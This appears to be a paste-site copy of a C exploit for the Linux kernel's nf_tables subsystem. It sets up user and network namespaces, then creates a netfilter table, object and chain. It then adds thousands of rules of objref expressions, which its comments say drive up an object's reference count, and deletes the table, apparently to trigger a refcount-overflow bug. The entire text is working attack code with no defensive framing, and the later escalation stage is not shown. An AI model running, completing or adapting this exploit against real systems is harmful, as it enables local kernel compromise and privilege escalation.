Untitled
unknown
plain_text
2 years ago
11 kB
6
Indexable
/* gcc exploit.c -no-pie -o exp -lmnl -lnftnl */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sched.h> #include <ctype.h> #include <pthread.h> #include <fcntl.h> #include <unistd.h> #include <stddef.h> #include <time.h> #include <signal.h> #include <sys/resource.h> #include <sys/types.h> #include <sys/xattr.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/msg.h> #include <linux/ip.h> #include <netinet/in.h> #include <linux/netlink.h> #include <linux/netfilter.h> #include <linux/netfilter/nf_tables.h> #include <linux/netfilter/nfnetlink.h> #include <linux/keyctl.h> #include <linux/unistd.h> #include <linux/io_uring.h> /* contains io_uring_params for percpu_ref_data spraying */ #include <libnftnl/chain.h> #include <libnftnl/table.h> #include <libnftnl/rule.h> #include <libnftnl/set.h> #include <libnftnl/object.h> #include <libnftnl/expr.h> #include <libmnl/libmnl.h> #include <arpa/inet.h> #include <stdint.h> #include <sys/syscall.h> #include <sys/mman.h> #define DEF_CORE 3 #define MAX_RULE 3 // 3 char chain_name[] = "chainA\0"; char table_name[] = "table1\0"; char obj_name[] = "obj1\0"; char set_name[] = "set1\0"; void errout(char *msg) { perror(msg); exit(-1); } /* Hexdump utility for debugging purposes */ void hexdump(void *mem, unsigned int len) { unsigned int i = 0, j = 0; for (i = 0; i < len + ((len % 16) ? (16 - len % 16) : 0); i++) { if (i % 16 == 0) printf("0x%06x: ", i); if (i < len) printf("%02x ", 0xFF & ((char *)mem)[i]); else printf(" "); if (i % 16 == (16 - 1)) { for (j = i - (16 - 1); j <= i; j++) { if (j >= len) putchar(' '); else if (isprint(((char *)mem)[j])) putchar(0xFF & ((char *)mem)[j]); else putchar('.'); } putchar('\n'); } } return; } static void assign_to_core(int core_id) { cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(core_id, &mask); if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) { errout("sched_setaffinity"); } } static int setup_sandbox(void) { struct rlimit fdlim; cpu_set_t set; int pid; assign_to_core(DEF_CORE); /* Execute ourselves in a new network namespace to be able to trigger and exploit the bug */ /* For another user can communicate with netlink - somehow */ if (unshare(CLONE_NEWUSER) < 0) { perror("[-] unshare(CLONE_NEWUSER)"); return -1; } /* Network namespaces provide isolation of the system resources */ if (unshare(CLONE_NEWNET) < 0) { perror("[-] unshare(CLONE_NEWNET)"); return -1; } // CPU_ZERO(&set); // CPU_SET(0, &set); // if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) { // perror("[-] sched_setaffinity"); // return -1; // } return 0; } void create_table_chain(struct mnl_socket *nl) { struct mnl_nlmsg_batch *batch = NULL; struct nlmsghdr *nh = NULL; int r = 0; int seq = 0; char buf[16384] = {0}; struct nftnl_table *table = NULL; assign_to_core(DEF_CORE); puts("[+] create_table_chain"); table = nftnl_table_alloc(); nftnl_table_set_str(table, NFTNL_TABLE_NAME, strdup(table_name)); // nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data, size); /* Create obj1 to table1 */ struct nftnl_obj *obj = nftnl_obj_alloc(); nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name); nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name); nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER); /* Adding chain hooking */ struct nftnl_chain *chain2 = NULL; chain2 = nftnl_chain_alloc(); nftnl_chain_set_str(chain2, NFTNL_CHAIN_NAME, chain_name); nftnl_chain_set_str(chain2, NFTNL_CHAIN_TABLE, table_name); nftnl_chain_set_data(chain2, NFTNL_CHAIN_TYPE, strdup("filter"), 0); nftnl_chain_set_u32(chain2, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT); nftnl_chain_set_u32(chain2, NFTNL_CHAIN_PRIO, 0); /* ======================================================================================= */ // /* Create set and add it to table1 */ // struct nftnl_set *set = nftnl_set_alloc(); // nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name); // nftnl_set_set_str(set, NFTNL_SET_NAME, set_name); // nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 8); // nftnl_set_set_u32(set, NFTNL_SET_ID, htonl(0xcafe)); // nftnl_set_set_u32(set, NFTNL_SET_FLAGS, // NFT_SET_OBJECT); // NFT_SET_TIMEOUT, NFT_SET_ANONYMOUS // nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_COUNTER); // nftnl_set_set_u32(set, NFTNL_SET_KEY_TYPE, 13); // // nftnl_set_set_u64(set, NFTNL_SET_TIMEOUT, 1500); // // nftnl_set_set_u32(set, NFTNL_SET_GC_INTERVAL, 2000); // nftnl_set_set_u32(set, NFTNL_SET_FAMILY, NFPROTO_IPV4); // /* Linking set */ // struct nftnl_set *sx = nftnl_set_alloc(); // nftnl_set_set_str(sx, NFTNL_SET_TABLE, table_name); // nftnl_set_set_u32(sx, NFTNL_SET_ID, htonl(0xcafe)); // /* Create set element and add set_elem into set */ // struct nftnl_set_elem *se = NULL; // se = nftnl_set_elem_alloc(); // nftnl_set_elem_set_str(se, NFTNL_SET_ELEM_OBJREF, obj_name); // obj->use = 1 // nftnl_set_elem_set_u32(se, NFTNL_SET_ELEM_FLAGS, // 0x2); /* NFT_SET_ELEM_CATCHALL = 0x2 */ // nftnl_set_elem_add(sx, se); /* ======================================================================================= */ batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); // table nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_table_nlmsg_build_payload(nh, table); // mnl_attr_put(nh, NFTA_TABLE_USERDATA, size, data); mnl_nlmsg_batch_next(batch); // obj nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_obj_nlmsg_build_payload(nh, obj); mnl_nlmsg_batch_next(batch); // // set // nh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), // NFT_MSG_NEWSET, NFPROTO_IPV4, // NLM_F_CREATE, seq++); // nftnl_set_nlmsg_build_payload(nh, set); // mnl_nlmsg_batch_next(batch); // // set element // nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), // NFT_MSG_NEWSETELEM, NFPROTO_IPV4, // NLM_F_CREATE, seq++); // nftnl_set_elems_nlmsg_build_payload(nh, sx); // mnl_nlmsg_batch_next(batch); // chain nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_chain_nlmsg_build_payload(nh, chain2); mnl_nlmsg_batch_next(batch); // send nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); if (r < 0) errout("mnl_socket_sendto"); return; } /* Create a netfilter table */ void create_rule_expr(struct mnl_socket *nl) { struct mnl_nlmsg_batch *batch = NULL; struct nlmsghdr *nh = NULL; int r = 0; int seq = 0; char buf[16384] = {0}; struct nftnl_expr *expr[127] = {0}; struct nftnl_rule *rule[MAX_RULE+1] = {0}; assign_to_core(DEF_CORE); for (int j=0; j<MAX_RULE; j++) { /* Add nft_rule to table */ rule[j] = nftnl_rule_alloc(); nftnl_rule_set_str(rule[j], NFTNL_RULE_TABLE, table_name); nftnl_rule_set_str(rule[j], NFTNL_RULE_CHAIN, chain_name); nftnl_rule_set_u32(rule[j], NFTNL_RULE_FAMILY, NFPROTO_IPV4); for (int i=0; i<127; i++) { /* Add nft_expr into nft_rule*/ expr[i] = nftnl_expr_alloc("objref"); nftnl_expr_set_str(expr[i], NFTNL_EXPR_OBJREF_IMM_NAME, obj_name); // obj->use++ nftnl_expr_set_u32(expr[i], NFTNL_EXPR_OBJREF_IMM_TYPE, NFT_OBJECT_COUNTER); nftnl_rule_add_expr(rule[j], expr[i]); } } batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); for (int j=0; j<MAX_RULE; j++) { // rule nh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_rule_nlmsg_build_payload(nh, rule[j]); nftnl_rule_free(rule[j]); mnl_nlmsg_batch_next(batch); } // send nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); if (r < 0) errout("mnl_socket_sendto"); return; } /* Delete a netfilter table */ void delete_table(struct mnl_socket *nl) { struct mnl_nlmsg_batch *batch = NULL; struct nlmsghdr *nh = NULL; int r = 0; int seq = 0; char buf[16384] = {0}; struct nftnl_table *table = NULL; assign_to_core(DEF_CORE); puts("[+] Delete table"); table = nftnl_table_alloc(); nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); // table nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_table_nlmsg_build_payload(nh, table); mnl_nlmsg_batch_next(batch); nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); if (r < 0) errout("mnl_socket_sendto"); return; } int main() { uint64_t addr_value = 0; struct mnl_socket *nl; assign_to_core(DEF_CORE); puts("[+] Setup namespace sandbox"); if (setup_sandbox()) return -1; nl = mnl_socket_open(NETLINK_NETFILTER); if (!nl) { errout("mnl_socket_open"); } create_table_chain(nl); // 0x2b00ac for(int i=0; i<0x1000; i++) { printf("[+] create_rule_expr: 0x%lx\n", i); create_rule_expr(nl); // obj->use += 381 } delete_table(nl); return 0; }
Editor is loading...